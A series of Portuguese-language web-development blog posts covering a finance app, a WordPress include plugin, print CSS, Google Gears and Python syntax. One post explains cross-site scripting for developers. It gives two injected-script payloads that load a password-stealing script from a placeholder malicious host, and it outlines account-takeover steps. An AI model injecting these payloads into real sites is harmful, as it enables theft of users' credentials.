Spesa, desisti logo de cara

Acabo de me cadastrar no Spesa. O Spesa é um gerenciador de finanças pessoais[bb] online. Você controla seu fluxo de caixa, anota cada movimento e sabe exatamente para onde foi o seu dinheiro. O aplicativo parece muito bem desenvolvido, a interface é agradável e fácil de usar, e a idéia é genial.

Não me cadastrei para avaliar o produto, mas porque tenho interesse em usá-lo mesmo. Todas as boas opções que eu conheço para fazer a mesma coisa não são online. Planilhinha no Google Docs? Esquece!

Bom, fiz o cadastro inicial, ativei minha conta e fiz meu primeiro acesso. A primeira tela a ser apresentada é essa:

spesa.png

Legal, você começa a usar o aplicativo indicando seu saldo inicial. O problema é que eu tenho mais de uma conta bancária. Coloquei zero de saldo só para poder passar para a próxima tela e constatei o que eu temia: se você tem mais de uma conta, o Spesa é inútil.

Uma pena, espero que eles ofereçam uma maneira de gerenciar mais de uma conta logo, porque eu realmente preciso de um serviço desses.

The Power of Schmooze

schmoozeaward160d0570vuqa0.png

Fui indicado pelo Jader para participar do meme The Power of Schmooze Award. Funciona assim: se você for indicado, escolhe cinco blogueiros que você acha que são engajados em responder à comunidade. Gente que faz trackbacks, que responde aos comentários, que comenta no blog alheio. Gente que participa. Não precisa ter blog famoso, nem muito visitado, basta ter bom conteúdo e ser engajado.
Aqui vão minhas cinco indicações:

  1. corporacao Web
  2. Felipe Tonello
  3. * batteries not included
  4. Eduardo Marques
  5. Silici0 :: Blog

Estão aí, boas indicações para o seu leitor de feeds.

Vá de Metrô

Site novo: vademetro.com.br. De um aluno da Visie, Thomas Pomerancblum, o site é um excelente auxílio tanto para quem é de São Paulo[bb] e está procurando por alguma coisa perto do metrô quanto para quem chega de outras cidades e tem que se virar no metrô de São Paulo.

O Thomas citou o meu mini guia para o Metrô no blog do Vá de Metrô. Modéstia dele. O Vá de Metrô substitui com vantagens meu pequeno guia.

Ao encontrar um lugar você pode ver um roteirinho das estações, mostrando como chegar da estação onde você está, e um mapinha do Google Maps[bb] com o lugar onde você vai e a estação do Metrô mais próxima, para o trecho a pé. O projeto está começando, mas já é bastante útil. Acredito que eles vão apreciar bastante suas sugestões. Olha a Visie lá.

Dirty PHP Include, plugin para WordPress que faz include de arquivos PHP em seus posts

Para atender a um cliente, escrevi agora um pequeno plugin para WordPress[bb]. Você pode fazer download do plugin aqui:
https://elcio.com.br/download/dirtyinclude.zip (497 bytes)

Depois, basta descompactá-lo na pasta wp-content/plugins em seu diretório do WordPress. Tendo feito isso, acesse o administrador do WordPress, clique em “Plugins” (“Extensões” na versão em português) e ative o plugin. Pronto, está funcionando.

Para incluir um arquivo em um post basta, ao editar o post, escrever: [[[include:/caminho/ate/seu/arquivo.php]]] e o arquivo será incluído. O caminho é relativo ao diretório base do WordPress. Funciona tanto com o editor visual quanto com o editor de código. Atenção! Se você tem usuários não confiáveis, por exemplo, se permite que seus usuários se cadastrem e postem, não deve usar esse plugin. É perigoso…

Naturalmente, o plugin acaba de ser escrito e não foi exaustivamente testado. Se você tiver sugestões de melhorias ou achar bugs, por favor, avise.

Meus comentários:

  1. WordPress é fantástico! Essa API para a criação de plugins é fabulosa. É muito fácil escrever um plugin que faz bem seu trabalho sem atrapalhar todo o resto.
  2. Continuo não gostando de PHP, mas dá para trabalhar com isso. Se metade do código mundo a fora tivesse a qualidade do WordPress, já ajudaria muito.
  3. Vou dizer de novo: se você não sabe expressões regulares[bb], precisa aprender!

Falha no Password Manager do Firefox?

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados – o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão “Sim, eu tenho certeza”
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager 😉

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

Calcule o poder de sua identidade online

Online Identity Calculator (beta)

Este site promete, através de um cálculo simples, mostrar se seus resultados no Google[bb] estão adequados aos seus objetivos profissionais. Uma maneira no mínimo curiosa de avaliar seu “marketing pessoal online”. Meu resultado:

Your online identity score is 9 out of a possible score of 10.
Congratulations. You are digitally distinct. This is the nirvana of online identity. Keep up the good work, and remember that your Google results can change as fast as the weather in New England.

Otimização para Buscadores: "Voe Gol" e o Submarino.

Algumas das frases de busca que mais traziam gente a este site eram:

  1. Voe Gol
  2. voegol
  3. voe-gol

Desde que eu escrevi o artigo VoeGol se você conseguir, choveram paraquedistas neste blog. Gente que encontrava meu artigo procurando por voe gol no Google, geralmente associando com palavras como:

  1. passagem
  2. viagem
  3. avião
  4. promoção

E mesmo gente que chegou buscando frases engraçadas, como: “eu quero ir para porto seguro de avião pela gol” (o buscador é praticamente um gênio da lâmpada!)

Pois não é que os visitantes desse artigo simplesmente desapareceram? O número de gente que chegou por essa busca diminui dez vezes no último mês. Fiz uma busca por “voe gol” e descobri porquê. Minha página era a segunda, logo depois da página da própria Gol nessa busca. Agora não é mais. Isso mostra como é importante estar acima da dobra. Aquela posição, entre o segundo e o terceiro, significa uma diferença de cliques na ordem de dez vezes.

Essa página do Submarino é a segunda colocada hoje. Pois bem, veja esse trecho da página:

Aqui você encontra: Gol, Voegol, Voe Gol, Gol Linhas Aereas, www.voegol.com.br, Linhas Aéreas Gol, Gol Passagens Aereas, Gol Passagens, Gol Linhas, Voegol com br, Gol Aerea, Site da Gol, Empresa Aerea Gol, Gol Passagens Aéreas. Pode Imaginar. Sua Viagem começa aqui!

Este texto, naturalmente, foi escrito para o buscador. Talvez eles tenham chegado à conclusão de que o único usuário que de fato lê seus textos é o Google, e resolveram escrever só para ele mesmo. Já tinha visto muitos sites assim, mas geralmente feitos por pessoas físicas ou empresas minúsculas. O fato de o Submarino estar adotando esse tipo de SEO diz alguma coisa? O que você acha[bb]?

CSS de impressão no fechaTag

Acabo de criar um CSS de impressão para este blog. Levei uns dez minutos.

O código ficou assim:

form,#sidebar,iframe,#otop,#respond,.navigation,.rec6,.linkk{
display:none;
}
h2{
margin:0;
}
.entry{
line-height: 150%;
}
#header h1{
margin:0;
padding:0;
font-size:24px;
}
#header .description{
padding:0;
}
h2{
padding:40px 0 0;
margin:0;
}

E o resultado:

Em suma: você esconde tudo o que não pode ser usado ou não faz sentido no papel (menus, formulários, etc.) e tenta não atrapalhar o usuário. Aliás, não dá para fazer muito mais do que isso. Os mecanismos de impressão dos navegadores foram feitos para simplificar as páginas e economizar tinta.

Fácil, não?

Vídeo e slides da minha palestra no ELPI

Coloquei os slides no slideshare, aqui.

E o Andrey Pedro Lefkum filmou a palestra inteira e publicou.

A resenha oficial:

A palestra apresentou ao público os Microformats[bb], uma maneira de incluir novas características e possibilidades no HTML atual, oferecendo significado extra ao conteúdo e facilitando a criação de mash-ups. Comparou também a adoção inicial de Microformats com o padrão de adoção de novas tecnologias abertas, em especial o RSS. Por fim, demonstrou com exemplos práticos a simplicidade para se implementar Microformats e sua grande utilidade e flexibilidade.

Bom proveito!

YouTube no Brasil, Flickr em português

Vi os dois no CrisDias:

YouTube Brasil.

Flickr em Português.

No Flickr, um detalhe curioso: se você já acessou o site do Flickr, talvez haja um cookie em sua máquina que faz com que você veja sempre em português. Se você clicar no link acima e não vir o Flickr em português, clique no rodapé, no link “português”:

flickr em português

Será um sinal de que os números em nosso mercado estão ficando mais significativos? Ou é algo que já devia ter sido feito há muito tempo?

Isso me fez lembrar um trecho da palestra do Marty Cagan no ELPI, ao final, na parte de dúvidas, alguém perguntou a ele sobre o desenvolvimento de produtos no Brasil e para o Brasil. E ele disse que enxerga um grande potencial no desenvolvimento de produtos no Brasil, mas vê grandes dificuldades no desenvolvimento de produtos para o Brasil. E o motivo é o tamanho de nossa Internet. Como dado ele citou o fato de que nos Países Baixos o índice de penetração da Internet está em mais de 95% da população, enquanto no Brasil esse índice não chega a 17%.

Esse é um problema de visão muito comum. Os 17% da população brasileira que acessam a Internet são mais de 32 milhões de pessoas (dados do IBGE, de 2005). O dobro da população dos Países Baixos. Ou seja, um mercado de um tamanho respeitável.

Em tempo: apesar dessa resposta infeliz (e responder as perguntas ao final é mesmo difícil às vezes) a palestra do Marty Cagan foi a melhor coisa do dia. Estou ruminando algumas das idéias dele até hoje.

9° ELPI em São Paulo

Você, que não sai de casa sem dar uma lida em seus feeds, não se esqueça de levar uma extensão a minha palestra no 9° Encontro Locaweb de Profissionais de Internet hoje. Será no Teatro Frei Caneca e, desta vez, infelizmente, não haverão inscrições no local. Então, se você não se inscreveu com antecedência, só ano que vem…

Ah, eu devolvo a extensão ao final, prometo.

Microsoft, Google e o poder da massa crítica

Está todo mundo por aí falando sobre:

  • Microsoft Surface, um computador-mesa realmente impressionante. Entre no site e veja alguns dos videozinhos que você vai entender.
  • Google Gears, uma extensão para Firefox/Internet Explorer que permite ao desenvolvedor web guardar dados locais, na máquina do usuário.
  • O Orkut agora permite que você cadastre feeds em seu perfil.

Quando olhei cada um desses lançamentos, tive a mesma reação: “Ah, grande coisa!”

Nenhuma dessas idéias é nova ou revolucionária. Começando pelo Surface, é uma coleção de idéias velhas. Já vimos parte delas implementada no iPhone e na maneira como o sujeito pode usar os dedos nele. A idéia de colocar um computador numa mesa ou permitir seu uso por mais de uma pessoa também não é nova. E a maquininha da Microsoft está saindo por 10 mil. Dólares.

O Google Gears merece um pouquinho de explicação antes de dizer que a idéia não é nova. O Gears tem três componentes importantes. O primeiro é um tipo de servidor proxy com cache local. É um pouquinho mais do que isso, mas no fim permite a uma aplicação web responder dados ao usuário uma única vez, e ele terá esses dados em sua própria máquina a partir daí. O segundo é um banco de dados local, que permite a uma aplicação web, por exemplo, funcionar offline. O terceiro é um mecanismo para fazer com que seus scripts possam ser executados em segundo plano, sem congelar o navegador. De verdade? Isso não é nem tão novo, nem tão revolucionário assim. Para o sujeito que está desenvolvendo um Gmail, pode fazer diferença. Mas para pequenas aplicações, ou mesmo as medianas, dessas que a gente desenvolve todo dia, tudo poderia ser resolvido com cookies e um pouquinho de inteligência, sem demandar a instalação de um plugin.

Por fim, os feeds no Orkut. Aqui a experiência de quem esperava algo realmente novo pode ser decepcionante. Leia os comentários do Charles Pilger sobre o assunto, por exemplo.

Apesar disso, há algo que pode realmente fazer diferença nesse tipo de produto: massa crítica, quantidade de usuários, visibilidade. O Surface pode mostrar ao mundo a idéia nova. Talvez eu nunca venha a ter um Microsoft Surface, mas quem sabe eu daqui a algum tempo comecem a vender o XingLing Surface, o Itautec Surface ou o Positivo Surface? Tenho perguntado ao auditório, nos Encontros Locaweb, quem usa leitores de feeds e quem fornece RSS de qualquer maneira. Num público de desenvolvedores, o número de pessoas que levantam suas mãos é assombrosamente baixo. Imagino que entre os seres humanos comuns este números deve ser ainda menor. Feeds no Orkut podem ser um excelente recurso educativo. Isso pode fazer muita gente descobrir o RSS.

Em relação ao Gears, assim como em relação ao Silverlight, que não está na lista acima porque já tem um tempo, acontece algo curioso. Quem teria coragem de apostar hoje numa tecnologia que exige a instalação de um plugin para que seu site seja usado? Se fosse qualquer empresa pequena que estivesse lançando um desses produtos, ele logo seria descartado como algo ridículo. Mas todo mundo tem suas em relação ao poder de empresas como a Microsoft ou o Google de fazer com que as pessoas instalem algo em suas máquinas.

Em suma, quando você tem metade da Internet usando seus produtos, as regras podem ser diferentes para você. E quando você lança um Google Notebook ou um Zune, as pessoas parecem se esquecer muito rápido que você fracassou.

Em relação ao fato de não haver nenhuma novidade nesses produtos, vale lembrar o que diz o Getting Real: uma boa idéia não vale quase nada, o que vale mesmo é uma boa execução. Embora o Surface não seja novo, parece pelos vídeos que foi executado de maneira exímia.

E, claro, a história dos computadores mostra que nem sempre os melhores vencem. Nada de certezas, por enquanto.

Links interessantes:

Python X Java X Smalltalk

Achei muito interessante este artigo comparando a sintaxe de Smalltalk com Java. Implementei os mesmos exemplos em Python, para que você possa comparar a sintaxe:

Problema: cálculo de fatorial

def factorialRecursive(n):
  if n<0:return 0
  if n==0:return 1
  return n*factorialRecursive(n-1)

Ou assim:

def factorialNonRecursive(n):
  if n<0:return 0
  return reduce(lambda a,b:a*b,[1]+range(1,n+1))

A recursividade pode parecer uma solução elegante, mas o consumo de memória é assombroso nesse caso, em qualquer linguagem. Calcular a fatorial de um número grande qualquer pode ser um problema com a recursividade. Por isso, prefira a versão não recursiva.

No novo Python 2.5 você pode fazer:

def fact(x): return (
  0 if x<0 else
  reduce(lambda a,b:a*b,[1]+range(1,x+1))
)

Aqui é difícil dizer qual é mais prática, Smalltalk ou Python. Você pode palpitar sobre qual é mais elegante, uma vez que as soluções são radicalmente diferentes, mas a escolha final é subjetiva.

Problema: imprimir os números de 1 a 10

Eu faria usando os recursos de programação funcional:

print "\n".join(map(str,range(1,11)))

Mas você pode preferir:

for i in range(1,11):
  print i

De qualquer maneira, ponto para o Python[bb] aqui.

Problema: trabalhando com Collections

l=[
  'Em Python,',
  'chamamos as',
  'collections',
  'de "listas"',
]
print "\n".join(l)

Aqui, indiscutivelmente, ponto para o Python.

Problema: mostrar os pares e ímpares entre 1 e 10

for i in range(1,11):
  print i,["is even","is odd"][i % 2]

Novamente, o Python ganha disparado.

Problema: invocar um método via Reflection

É bem fácil:

o=MyClass()
getattr(o,"showMessage")()

Aqui o páreo é duro, Python e Smalltalk correm cabeça-a-cabeça. Na minha opinição, Python ganha por um focinho.


PythonPara saber mais sobre Python recomendo o PythonBrasil.

Além disso, sou professor do Curso de Python da Visie.